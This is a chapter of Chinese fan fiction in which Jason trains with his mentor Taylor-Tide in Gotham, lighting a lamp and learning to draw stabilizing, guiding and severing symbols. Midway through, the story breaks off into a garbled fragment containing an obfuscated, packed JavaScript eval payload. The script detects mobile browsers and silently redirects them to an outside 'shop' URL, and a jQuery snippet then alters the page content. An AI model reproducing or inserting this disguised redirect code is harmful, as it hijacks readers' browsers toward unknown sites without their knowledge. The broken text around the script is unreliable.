第二天早上七点,杰森被敲门声叫醒。
“起床。”泰勒提德的声音在门外响起,“十分钟收拾好来吃早餐。”
杰森坐起来,揉了揉眼睛。窗外天刚亮,灰白色的光线透过窗帘缝隙照进来。他下床,拉开窗帘。哥谭的清晨雾蒙蒙的,远处楼顶的霓虹灯牌还在闪烁。
他换上新买的衣服——比之前那套合身多了,然后打开门走出去。
泰勒提德已经在厨房里了。她站在炉子前,平底锅里煎着鸡蛋和培根。旁边的烤面包机发出咔哒一声,两片面包跳起来。
“咖啡还是茶?”她头也不回地问。
“咖啡。”杰森说。
“自己倒。壶在台子上。”
杰森找到咖啡壶,倒了一杯。咖啡很黑,没有加糖或牛奶。他尝了一口,苦得让他皱起眉。
“这是咖啡还是机油?”
“提神专用配方。”泰勒提德把煎好的鸡蛋和培根装盘,和烤面包一起放在桌上,“习惯了就好。”
两人坐下吃饭。很简单的早餐:煎蛋、培根、烤面包。味道普通,但分量足够。
杰森一边吃一边观察泰勒提德。她吃得很快,但动作并不匆忙,更像是在执行某个既定程序。吃完后她端着杯子喝茶,眼睛看着窗外,像在思考什么。
“今天练什么?”杰森问。
“上午继续练灯。”泰勒提德说,“下午学习基础符号理论。”
她放下杯子,站起来收拾餐具。
“你负责洗碗。工坊规矩之一:别白吃饭。”
杰森点点头。他把餐具拿到水槽,打开热水,开始洗。水很热,蒸汽升腾。
泰勒提德走进工作间。杰森洗完碗擦干手,跟进去。
那盏灯还放在工作台上,旁边摆着沙漏。泰勒提德正在整理书架,把几本厚书搬到旁边的矮桌上。
“开始吧。”她说,“目标不变:一分钟内点亮,维持三分钟。用铜线辅助。”
杰森拿起铜线,绕在手腕上。他闭上眼睛,开始集中注意力。
有了昨天的经验,今天上手快了一些。他能很快感觉到能量的流动,引导它流向指尖,注入灯里。
但问题还是同样的问题:能量输出不够。他能让灯发出微弱的光,但只能维持几秒,然后就熄灭了。
第三次尝试时,他试图加大输出。能量流骤然增强,灯里的光变得明亮,但只持续了一秒就炸了——不是真的爆炸,是灯里的能量突然失控,发出刺耳的嗡鸣,然后所有光瞬间消失。
杰森被反冲力震得后退一步,手腕发麻。
“超载了。”泰勒提德说,语气平静得像在点评天气,“能量输出不稳定,忽高忽低。灯承受不住。”
她走过来,检查那盏灯。灯罩上出现了一道细细的裂纹。
“修起来很麻烦。”她说,“所以第二条规矩:损坏东西要赔偿。这盏灯从你的训练补贴里扣。”
“训练补贴?”
“每周十美元。”泰勒提德说,“用于购买个人用品或赔偿损坏物品。这盏灯价值五美元,所以你本周还剩五美元。”
她把灯放回工作台,从抽屉里拿出另一盏一模一样的。
“继续。但这次注意控制输出。稳定比强度重要。”
杰森重新开始。这次他放慢了速度,不再追求亮度,而是专注于维持一个平稳的能量流。
灯亮了。光线微弱但稳定,持续了十秒。
“进步了。”泰勒提德说,“保持这个节奏。”
接下来的一个小时,杰森反复练习。点亮,维持,熄灭,再点亮。手腕上的铜线变得温热,指尖能感觉到能量流动带来的轻微刺痛。
到上午结束时,他已经能把灯的维持时间提升到三十秒。虽然距离三分钟还很远,但至少不再炸灯了。
“可以了。”泰勒提德说,“休息。下午两点开始符号课。”
她取下杰森手腕上的铜线,收进抽屉,然后递给他一个小瓶子。瓶子里装着透明的液体。
“能量恢复剂。喝一半,留一半晚上用。”
杰森接过瓶子,打开喝了一半。液体没什么味道,但喝下去后感觉精神上的疲惫缓解了一些。
“我能问个问题吗?”他说。
“问。”
“你为什么要用灯?”杰森问,“为什么不直接教攻击性的东西?或者防护类的?”
泰勒提德看了他一眼。
“因为基础重要。”她说,“你能点亮一盏灯,才能学会控制能量的精准输出。你能维持三分钟稳定发光,才能学会在战斗中维持防护罩。顺序不能乱。”
她从书架上抽出一本薄薄的书,扔给杰森。
“符号理论基础。下午的内容。现在去休息,或者看书,随你。”
她说完就走向工作台,开始调配某种药剂,不再理他。
杰森拿着书回到自己房间。书不厚,大概一百多页,封面是深蓝色的,上面用银色墨水画着几个简单的几何符号。
他翻开第一页。
[第一章:符号的本质
符号是能量的语言。每一个符号都对应特定的能量频率和结构。学习符号,就是学习如何用最小的消耗,引导最大的能量效应。]
下面画着一个圆形,中间有个三角形。
[图1-1:基础稳定符号。用于锚定能量流动,防止失控。绘制时需保持线条连续,节点准确。]
杰森看了一会儿,从床头柜上拿起笔记本和笔。他翻到新的一页,开始抄写书上的内容。
符号。能量语言。节点。
这些概念很陌生,但逻辑清晰。像在学一门新语言,或者一种新的数学。
他抄了大概十页,然后停下,试着在空白处画那个基础稳定符号。
第一遍画得歪歪扭扭,线条不连贯。第二遍好一些,但节点位置不准。第三遍他开始注意笔画的顺序和力度,像在练习写字。
画到第五遍时,他感觉手指有点发麻。不是累,是那种熟悉的能量流动感。
他停下笔,看着自己画的符号。纸上什么都没有,但他能感觉到那里有某种……痕迹。很微弱,但存在。
有意思。
下午两点,杰森准时回到工作间。
泰勒提德已经在等了。工作台上铺着一张很大的羊皮纸,旁边摆着几种不同颜色的墨水笔。
“书看了多少?”她问。
“前十页。”杰森说。
“够了。”泰勒提德指着羊皮纸,“今天学三个基础符号:稳定、引导、隔断。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317045|198969||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
她在纸上画下第一个符号。一个简单的圆形,中间有个点。
“稳定符号。你上午练习时已经用到了它的原理——维持能量流动的连续性。现在学习如何主动绘制它。”
她递给杰森一支笔。
“用这个。特制墨水,能承载微量能量。先练习画,不用注入能量。”
杰森接过笔。笔尖很细,墨水是深蓝色的,在羊皮纸上留下清晰的痕迹。
他照着样子画。第一个画得不好,线条抖。第二个好一些。画到第十个时,他已经能画得比较标准了。
“可以了。”泰勒提德说,“现在尝试在绘制的过程中注入一点点能量。非常少,像点亮灯时用的百分之一。”
杰森深吸一口气,拿起笔。他一边画符号,一边试着调动一丝能量流向笔尖。
笔画过半时,羊皮纸上的线条突然亮了一下。很短暂,像错觉,但确实亮了。
“继续。”泰勒提德说。
杰森画完整个符号。当最后一笔闭合时,符号发出淡淡的蓝光,持续了三秒,然后熄灭。
“成功了?”他问。
“第一步成功了。”泰勒提德说,“你画出了一个能短暂激活的符号。但离实用还差得远。实用符号需要能维持至少十分钟。”
她在旁边画出第二个符号:一条波浪线穿过一个三角形。
“引导符号。用于定向转移能量。比如把灯里的能量转移到另一个容器,或者把攻击的能量偏转到其他地方。”
杰森开始练习第二个符号。这个比第一个复杂,他画废了好几次才掌握要领。
到第三个符号——两条交叉的直线,代表隔断——时,他已经开始感到精神疲惫了。
“停。”泰勒提德说,“今天到此为止。符号练习非常消耗注意力,过度会导致头痛甚至晕眩。”
她收起羊皮纸和笔。
“晚上自由时间。建议你复习今天的内容,但不要练习。让大脑消化吸收。”
杰森点点头。他确实觉得有点头疼,像连续看了几个小时书。
“还有一件事。”泰勒提德说,“明天需要再次外出。采购补充物资,顺便让你适应正常环境。同样规矩:跟紧,别惹事,不适立刻说。”
“去哪?”
“更远一点的市场。”泰勒提德说,“需要买一些特殊材料。放心,不在危险区域。”
她走向厨房。
“晚饭六点。今天吃炖菜。”
杰森回到自己房间,在床上躺下。天花板上有道细细的裂缝,从墙角延伸到中央。他盯着那道裂缝,脑子里回放着今天学的东西。
灯。符号。能量流动。
这些占据了他的注意力,让那些更黑暗的记忆暂时退到角落。像用新的东西覆盖旧的痕迹。
他坐起来,打开笔记本,翻到今天新写的那页。
在[第二天。灯亮了三十秒。]下面,他加了一行:
[学了三个符号。稳定,引导,隔断。画出来会发光。]
停顿了一下,他又加了一句:
[头疼。但能忍受。]
写完,他合上笔记本,看向窗外。
天色渐暗。哥谭的夜晚又要来了。
这次,他没有觉得那么沉重。